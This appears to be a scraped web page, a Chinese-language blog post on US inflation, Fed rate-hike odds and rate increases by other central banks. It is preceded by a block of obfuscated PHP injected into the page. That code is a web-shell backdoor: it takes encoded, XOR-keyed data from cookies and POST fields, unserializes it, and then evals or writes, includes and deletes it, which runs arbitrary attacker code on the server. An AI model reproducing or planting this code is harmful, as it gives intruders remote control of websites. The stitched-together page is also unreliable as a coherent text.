$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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美国通胀爆炸,全球央行不按常理出牌? - Sharix

美国通胀爆炸,全球央行不按常理出牌?

美国在前天公布的消费者物价指数再次吓坏全球投资者,而这项数据也立即反映在债券利率和美元指数身上,市场也对于美联储的加息预期大幅提升。目前全球投资者都知道美联储打压通胀张的决心,而我们也看到许多西方甚至是发展中国家的经济体正在加速升息的步伐,去防止本国的货币贬值,美国收割全球韭菜的剧本才刚刚开始。

根据美国劳工部最新的数据显示,美国6月的消费者物价指数 (CPI) 按年上涨9.1%,大幅超出市场预期的8.8%,也高于5月的8.6%,创下1981年底来最大的涨幅。即使排除食品和能源价格的核心CPI按年也上升5.9%,比市场预期的5.7% 还要高。按月相比,美国的CPI上涨1.3%,创下2005年来最高的纪录。从上图可以看到,美国的CPI在去年高基期的背景下还在创高,主要是受到美国汽油价格的暴涨。数据显示美国的汽油价格在6月环比上涨11.2%,涨幅远远超过其他项目。如果大家有关注美国的汽油价格,就会发现其实在6月美国的汽油价格突破5美元每加仑的新高价格。另外,住房和食品价格也是这次美国物价创新高的主要因素,当中住宅租金环比上涨0.8%,是自1986年来最大的月增幅。

我在过去的文章多次提及美国今年通胀主要的推手会是住房成本,主要是美国房屋价格的大幅上涨会推高租金。而住房成本又占美国CPI的33%,任何租金上的波动都会对CPI有立竿见影的效果。另外,除了汽油、食品和住房成本外,其他项目的价格也普遍上涨。数据公布之后,美国三大股指集体跳水,但在尾盘的跌幅收敛,市场可能认为通胀已经来到顶点,有利空出尽的迹象。

根据利率期货市场的预测显示,在CPI公布之前市场易经预测美联储有超过95% 的几率会加息75基点,但在CPI数据公布之后,加息75基点的几率暴跌至15%,而目前市场正在积极押注美联储有49% 的几率会直接加息100基点。另外,市场也预测美联储有超过30% 的机会基准利率会来到3.25% 至3.50% 的区间,而在这个几率在上个星期还是处于0% 的状态。保守来看,目前可以肯定美联储在7月及9月的会议加息至少150基点,而总共加息175基点的几率也超过30%,至于11月加息预期的几率并没有太大的变化。

对于美国CPI的走势,我认为6月的数据会是这波通胀增速的顶点,这也表示未来的通胀率会开始放缓,主要是美国的汽油价格已经从5美元每加仑下跌至目前4.70美元每加仑左右的水平,而大宗商品的价格也在7月有明显的下跌趋势。如果大家观察未来十年平均通胀预期的10年期通胀保值债券 (TIPS) 会发现,通胀率已经从顶峰的3% 下跌了23.5% 至目前的2.3% 左右,显示未来的通胀在美联储激进加息的背景下会大幅收敛。我之前和大家说道美联储的加息并不可怕,可怕的是美联储为了弥补之前所犯下对通胀的预判错误而不按常理出牌。

从之前的非农就业数据大幅超出市场预期,到现在通胀爆表,所有数据都在为美联储大胆加息铺路。抵抗通胀已经成为美联储最重要的目标,鲍威尔势必要把通胀压低至2% 的水平。虽然许多经济数据都显示美国的经济环境正在快速降温,衰退的预期越演越烈,但这已经不是美联储会去关心的东西。我不认为美国的通胀会回到2% 的水平,因为去全球化的过程和世界的分裂注定会重塑全球的产业链,全球的高效率及世界分工已经画上句点。

除了美联储,全球各国正在加速升息。就在前天韩国央行首度宣布将基准利率从1.75% 调高50基点至2.25%,创下1999年来最大的增幅。这也是韩国央行自去年8月第六次加息,总共上调了175基点。另外,新西兰央行也在同日宣布加息50基点,而这两家央行加息的原因不外乎抵抗居高不下的通胀压力。但鬼故事在这时发生了。加拿大央行也在同日大幅加息100基点至2.5%,高于预期的加息75基点,也是自1998年来最大的加息幅度,而加拿大也成为全球首个G7国家如此激进加息的央行。央行行长麦科勒姆表示这次加息100基点非常不寻常,主要是经济过热以及通胀过高,同时警告未来还有更多加息。

而就在昨天,新加坡金管局也意外收紧货币政策。同日,菲律宾央行也意外将基准利率上调75基点至3.25%,创下过去22年来最大的加息幅度,大家要知道菲律宾央行此前曾在公开场合淡化了大幅加息。而智利和匈牙利也在前天分别加息75和200基点,把利率调升至9.75% 及9.75% 的水平。上述央行的加息动作可能向投资者预示,全球的利率定价已经无法准确预测。各大央行不按常理出牌,为市场添加更多不确定的因素。

各大央行的超级紧缩政策,也象征全球的流动性枯竭的速度会比想象中更快。过去几十年的低利率和低物价的环境让央行放松警惕,投资者已经习惯过去流动性宽裕的日子。当过渡的消费导致物价快速膨胀,再配合俄乌战争的爆发,各大央行此时必须为去年所犯下的通胀暂时论买单。在这个众多央行纷纷加息的世界里,落后的央行将会受到惩罚,本国货币会加速贬值,进而导致进口成本大增,国内通胀迅速恶化。我们在最近也看到有发展中国家陆续爆发经济危机甚至面临破产和违约的局面。

假设美联储真的把加息100基点摆上桌面,一场腥风血雨的金融海啸将会袭击全球市场,各国也会为了保护本国货币和防止汇率的波动纷纷竞相加息。这就是美国的阳谋,我们也看到欧元和日元也相续成为受害者,货币贬值的速度快且急。利率上涨对于没有实质回酬的大宗商品是绝大的利空,而大宗商品的下跌也意味着全球资产最后的牛市多头已经结束。我不知道何时才会是股市的低点,但我知道这在短期之内不会这么快结束。股市可能会急跌,也可能不会,但投资者在这时必须做好保护资本的措施,去应对这次的熊市。

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